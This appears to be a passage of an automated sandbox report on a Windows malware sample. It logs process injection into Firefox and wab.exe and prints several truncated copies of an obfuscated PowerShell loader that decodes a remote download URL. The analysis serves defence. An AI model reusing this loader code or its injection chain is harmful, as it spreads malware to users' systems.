Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Section loaded: NULL target: C:\Windows\SysWOW64\replace.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: NULL target: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: NULL target: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\replace.exe Thread register set: target process: 2284 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\replace.exe Thread APC queued: target process: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 3000000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2CEF9C0 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Medikamentel.Ddg && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Medikamentel.Ddg && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Process created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe" Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$demonland = 1;$predecreeing='substrin';$predecreeing+='g';function herremaend($sursdt){$monuronsnteranimate=$sursdt.length-$demonland;for($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$alaskans+=$sursdt.$predecreeing.invoke($monurons, $demonland);}$alaskans;}function surere($adipometer){. ($disaffirmative) ($adipometer);}$monostichic=herremaend 'aristmde.imo sjakzsaks.ikortslsportlomplaarelai/hiero5addit..plgk0t,aum an.ta(produwequi.igeniznildebdpa.rao snitwpickesalleg ,ersoni,fantudpos drown1wighe0abbes.unser0snoni;pri o utakwafgifi efugnskal,6casto4benin;r.stb fresxturbu6homog4 radb;round furcrrvebogv matr:famil1 aste2 irre1hvede. fa,u0un,er)gummi unmutg u.dvet lesc arabkadvo,o a.ti/retor2bi,le0taale1folke0overs0mede 1calch0parti1h.and flintfpardoinondirnonvae estufd,teno hus.x pers/murbr1filbe2 lapu1b.udo. un.e0straf ';$apyonin182=herremaend 'eksprupapirs,ingeesucrerspeci-sk.ttasamvigrevaleafkvinu armt.ofag ';$halloffire=herremaend 'planoh fedetsponttko,sip sidesnon,r:speda/efter/friskd kar,rfacadiqv.nsvslidbeal,at.bifalgdiloho socio ,enogsp.cilundereglo i. ,nnac reto afstmgrept/ padauov rgcforsk?dyrebefascixluftrp ,isco banfr f idthuffi=chattd inusotelefw nattnaftalltranco.anelaarbejd send&leggiiunbludrecla= dunj1filmg3 o sts pelliblokpdeuropg isankun olutrafi2redskdbuega7ol,giip.icaiposta6 aposzca,rir parkxc,mpoa ond4macaag soupgtr,jeytingss decoainiqusvoitu5ar,anial.rm0,asufm ulovh eriaadopttudfreb icca ';$startngles=herremaend 'redak>paraf ';$disaffirmative=herremaend 'i ebli vil,e.npatxadelo ';$forfrdiget='tented';surere (herremaend ' ulovssweepefeersttandk-attaccspillodeviontryk.tsodeneprotenopsentlaves dunc - a.prpunderasubmytstal,hnondi prototkun.t:h,lvt\ ebustfirciehusassspytstvesicustrogdreciposugge. vortthalvfx fejetautos strue-udsagvkunsta cpmmludmatusadl.e flin hjemm$,aderfthromoliv or e aafhulnirstanddsennaiarkitgimmigeglosetrubbe;he er ');surere (herremaend 'alkylimuddlfalb i udpi(antiotavissepleurskbsvatmiddl-kronip tanda vipetdu,tthzygne grandtliche:lusk.\gruppta skiespindskantetbajadupirridhvedeo gobl.stra,tsamarxreg st ultr)globa{poly e eostxhillbi skubtraadf} sual;trise ');$tidsskriftsudvlgelserne = herremaend 'shille,lericrisikhkaldeo tjen l nje%ki,keabr.dop lendpbirthdno.sparevalt tiraasnebo% do,e\aastemnyst.efrankd tsaririskikannalawilmam,rfteelamb nbe,hptr.ttoesvveflcri,i.vandddpro,odtopsagddska lserf&halss&udl,s telefe ,ilccrkv,khpooftobugse malth$s are ';surere (herremaend 'gombe$tilbagspa.kl sgepo f,rfbpseu,askrd.l p.og:bi,psffo tirsl wdi kolitfremtubrinjr deciemalmintredi=s,pra(firsic bystmp umpd unde te,ot/pallhc rapg conta$.retct,elamiexu.ad .ibess.othsunto kprejursulteidelphftarlet utilsdiscrubo uldkinesvtilkrl mes,g dv,geergonlvrc.ssprotoesomikrhanden draweboxfi)outte ');surere (herremaend 'anstt$ pibogt,lstl ch,roparrobeutecaorkidlkan i:unsoctdrmmeinucl.r,eproe g
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$demonland = 1;$predecreeing='substrin';$predecreeing+='g';function herremaend($sursdt){$monuronsnteranimate=$sursdt.length-$demonland;for($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$alaskans+=$sursdt.$predecreeing.invoke($monurons, $demonland);}$alaskans;}function surere($adipometer){. ($disaffirmative) ($adipometer);}$monostichic=herremaend 'aristmde.imo sjakzsaks.ikortslsportlomplaarelai/hiero5addit..plgk0t,aum an.ta(produwequi.igeniznildebdpa.rao snitwpickesalleg ,ersoni,fantudpos drown1wighe0abbes.unser0snoni;pri o utakwafgifi efugnskal,6casto4benin;r.stb fresxturbu6homog4 radb;round furcrrvebogv matr:famil1 aste2 irre1hvede. fa,u0un,er)gummi unmutg u.dvet lesc arabkadvo,o a.ti/retor2bi,le0taale1folke0overs0mede 1calch0parti1h.and flintfpardoinondirnonvae estufd,teno hus.x pers/murbr1filbe2 lapu1b.udo. un.e0straf ';$apyonin182=herremaend 'eksprupapirs,ingeesucrerspeci-sk.ttasamvigrevaleafkvinu armt.ofag ';$halloffire=herremaend 'planoh fedetsponttko,sip sidesnon,r:speda/efter/friskd kar,rfacadiqv.nsvslidbeal,at.bifalgdiloho socio ,enogsp.cilundereglo i. ,nnac reto afstmgrept/ padauov rgcforsk?dyrebefascixluftrp ,isco banfr f idthuffi=chattd inusotelefw nattnaftalltranco.anelaarbejd send&leggiiunbludrecla= dunj1filmg3 o sts pelliblokpdeuropg isankun olutrafi2redskdbuega7ol,giip.icaiposta6 aposzca,rir parkxc,mpoa ond4macaag soupgtr,jeytingss decoainiqusvoitu5ar,anial.rm0,asufm ulovh eriaadopttudfreb icca ';$startngles=herremaend 'redak>paraf ';$disaffirmative=herremaend 'i ebli vil,e.npatxadelo ';$forfrdiget='tented';surere (herremaend ' ulovssweepefeersttandk-attaccspillodeviontryk.tsodeneprotenopsentlaves dunc - a.prpunderasubmytstal,hnondi prototkun.t:h,lvt\ ebustfirciehusassspytstvesicustrogdreciposugge. vortthalvfx fejetautos strue-udsagvkunsta cpmmludmatusadl.e flin hjemm$,aderfthromoliv or e aafhulnirstanddsennaiarkitgimmigeglosetrubbe;he er ');surere (herremaend 'alkylimuddlfalb i udpi(antiotavissepleurskbsvatmiddl-kronip tanda vipetdu,tthzygne grandtliche:lusk.\gruppta skiespindskantetbajadupirridhvedeo gobl.stra,tsamarxreg st ultr)globa{poly e eostxhillbi skubtraadf} sual;trise ');$tidsskriftsudvlgelserne = herremaend 'shille,lericrisikhkaldeo tjen l nje%ki,keabr.dop lendpbirthdno.sparevalt tiraasnebo% do,e\aastemnyst.efrankd tsaririskikannalawilmam,rfteelamb nbe,hptr.ttoesvveflcri,i.vandddpro,odtopsagddska lserf&halss&udl,s telefe ,ilccrkv,khpooftobugse malth$s are ';surere (herremaend 'gombe$tilbagspa.kl sgepo f,rfbpseu,askrd.l p.og:bi,psffo tirsl wdi kolitfremtubrinjr deciemalmintredi=s,pra(firsic bystmp umpd unde te,ot/pallhc rapg conta$.retct,elamiexu.ad .ibess.othsunto kprejursulteidelphftarlet utilsdiscrubo uldkinesvtilkrl mes,g dv,geergonlvrc.ssprotoesomikrhanden draweboxfi)outte ');surere (herremaend 'anstt$ pibogt,lstl ch,roparrobeutecaorkidlkan i:unsoctdrmmeinucl.r,eproe g
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$demonland = 1;$predecreeing='substrin';$predecreeing+='g';function herremaend($sursdt){$monuronsnteranimate=$sursdt.length-$demonland;for($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$alaskans+=$sursdt.$predecreeing.invoke($monurons, $demonland);}$alaskans;}function surere($adipometer){. ($disaffirmative) ($adipometer);}$monostichic=herremaend 'aristmde.imo sjakzsaks.ikortslsportlomplaarelai/hiero5addit..plgk0t,aum an.ta(produwequi.igeniznildebdpa.rao snitwpickesalleg ,ersoni,fantudpos drown1wighe0abbes.unser0snoni;pri o utakwafgifi efugnskal,6casto4benin;r.stb fresxturbu6homog4 radb;round furcrrvebogv matr:famil1 aste2 irre1hvede. fa,u0un,er)gummi unmutg u.dvet lesc arabkadvo,o a.ti/retor2bi,le0taale1folke0overs0mede 1calch0parti1h.and flintfpardoinondirnonvae estufd,teno hus.x pers/murbr1filbe2 lapu1b.udo. un.e0straf ';$apyonin182=herremaend 'eksprupapirs,ingeesucrerspeci-sk.ttasamvigrevaleafkvinu armt.ofag ';$halloffire=herremaend 'planoh fedetsponttko,sip sidesnon,r:speda/efter/friskd kar,rfacadiqv.nsvslidbeal,at.bifalgdiloho socio ,enogsp.cilundereglo i. ,nnac reto afstmgrept/ padauov rgcforsk?dyrebefascixluftrp ,isco banfr f idthuffi=chattd inusotelefw nattnaftalltranco.anelaarbejd send&leggiiunbludrecla= dunj1filmg3 o sts pelliblokpdeuropg isankun olutrafi2redskdbuega7ol,giip.icaiposta6 aposzca,rir parkxc,mpoa ond4macaag soupgtr,jeytingss decoainiqusvoitu5ar,anial.rm0,asufm ulovh eriaadopttudfreb icca ';$startngles=herremaend 'redak>paraf ';$disaffirmative=herremaend 'i ebli vil,e.npatxadelo ';$forfrdiget='tented';surere (herremaend ' ulovssweepefeersttandk-attaccspillodeviontryk.tsodeneprotenopsentlaves dunc - a.prpunderasubmytstal,hnondi prototkun.t:h,lvt\ ebustfirciehusassspytstvesicustrogdreciposugge. vortthalvfx fejetautos strue-udsagvkunsta cpmmludmatusadl.e flin hjemm$,aderfthromoliv or e aafhulnirstanddsennaiarkitgimmigeglosetrubbe;he er ');surere (herremaend 'alkylimuddlfalb i udpi(antiotavissepleurskbsvatmiddl-kronip tanda vipetdu,tthzygne grandtliche:lusk.\gruppta skiespindskantetbajadupirridhvedeo gobl.stra,tsamarxreg st ultr)globa{poly e eostxhillbi skubtraadf} sual;trise ');$tidsskriftsudvlgelserne = herremaend 'shille,lericrisikhkaldeo tjen l nje%ki,keabr.dop lendpbirthdno.sparevalt tiraasnebo% do,e\aastemnyst.efrankd tsaririskikannalawilmam,rfteelamb nbe,hptr.ttoesvveflcri,i.vandddpro,odtopsagddska lserf&halss&udl,s telefe ,ilccrkv,khpooftobugse malth$s are ';surere (herremaend 'gombe$tilbagspa.kl sgepo f,rfbpseu,askrd.l p.og:bi,psffo tirsl wdi kolitfremtubrinjr deciemalmintredi=s,pra(firsic bystmp umpd unde te,ot/pallhc rapg conta$.retct,elamiexu.ad .ibess.othsunto kprejursulteidelphftarlet utilsdiscrubo uldkinesvtilkrl mes,g dv,geergonlvrc.ssprotoesomikrhanden draweboxfi)outte ');surere (herremaend 'anstt$ pibogt,lstl ch,roparrobeutecaorkidlkan i:unsoctdrmmeinucl.r,eproe g Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$demonland = 1;$predecreeing='substrin';$predecreeing+='g';function herremaend($sursdt){$monuronsnteranimate=$sursdt.length-$demonland;for($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$alaskans+=$sursdt.$predecreeing.invoke($monurons, $demonland);}$alaskans;}function surere($adipometer){. ($disaffirmative) ($adipometer);}$monostichic=herremaend 'aristmde.imo sjakzsaks.ikortslsportlomplaarelai/hiero5addit..plgk0t,aum an.ta(produwequi.igeniznildebdpa.rao snitwpickesalleg ,ersoni,fantudpos drown1wighe0abbes.unser0snoni;pri o utakwafgifi efugnskal,6casto4benin;r.stb fresxturbu6homog4 radb;round furcrrvebogv matr:famil1 aste2 irre1hvede. fa,u0un,er)gummi unmutg u.dvet lesc arabkadvo,o a.ti/retor2bi,le0taale1folke0overs0mede 1calch0parti1h.and flintfpardoinondirnonvae estufd,teno hus.x pers/murbr1filbe2 lapu1b.udo. un.e0straf ';$apyonin182=herremaend 'eksprupapirs,ingeesucrerspeci-sk.ttasamvigrevaleafkvinu armt.ofag ';$halloffire=herremaend 'planoh fedetsponttko,sip sidesnon,r:speda/efter/friskd kar,rfacadiqv.nsvslidbeal,at.bifalgdiloho socio ,enogsp.cilundereglo i. ,nnac reto afstmgrept/ padauov rgcforsk?dyrebefascixluftrp ,isco banfr f idthuffi=chattd inusotelefw nattnaftalltranco.anelaarbejd send&leggiiunbludrecla= dunj1filmg3 o sts pelliblokpdeuropg isankun olutrafi2redskdbuega7ol,giip.icaiposta6 aposzca,rir parkxc,mpoa ond4macaag soupgtr,jeytingss decoainiqusvoitu5ar,anial.rm0,asufm ulovh eriaadopttudfreb icca ';$startngles=herremaend 'redak>paraf ';$disaffirmative=herremaend 'i ebli vil,e.npatxadelo ';$forfrdiget='tented';surere (herremaend ' ulovssweepefeersttandk-attaccspillodeviontryk.tsodeneprotenopsentlaves dunc - a.prpunderasubmytstal,hnondi prototkun.t:h,lvt\ ebustfirciehusassspytstvesicustrogdreciposugge. vortthalvfx fejetautos strue-udsagvkunsta cpmmludmatusadl.e flin hjemm$,aderfthromoliv or e aafhulnirstanddsennaiarkitgimmigeglosetrubbe;he er ');surere (herremaend 'alkylimuddlfalb i udpi(antiotavissepleurskbsvatmiddl-kronip tanda vipetdu,tthzygne grandtliche:lusk.\gruppta skiespindskantetbajadupirridhvedeo gobl.stra,tsamarxreg st ultr)globa{poly e eostxhillbi skubtraadf} sual;trise ');$tidsskriftsudvlgelserne = herremaend 'shille,lericrisikhkaldeo tjen l nje%ki,keabr.dop lendpbirthdno.sparevalt tiraasnebo% do,e\aastemnyst.efrankd tsaririskikannalawilmam,rfteelamb nbe,hptr.ttoesvveflcri,i.vandddpro,odtopsagddska lserf&halss&udl,s telefe ,ilccrkv,khpooftobugse malth$s are ';surere (herremaend 'gombe$tilbagspa.kl sgepo f,rfbpseu,askrd.l p.og:bi,psffo tirsl wdi kolitfremtubrinjr deciemalmintredi=s,pra(firsic bystmp umpd unde te,ot/pallhc rapg conta$.retct,elamiexu.ad .ibess.othsunto kprejursulteidelphftarlet utilsdiscrubo uldkinesvtilkrl mes,g dv,geergonlvrc.ssprotoesomikrhanden draweboxfi)outte ');surere (herremaend 'anstt$ pibogt,lstl ch,roparrobeutecaorkidlkan i:unsoctdrmmeinucl.r,eproe g Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
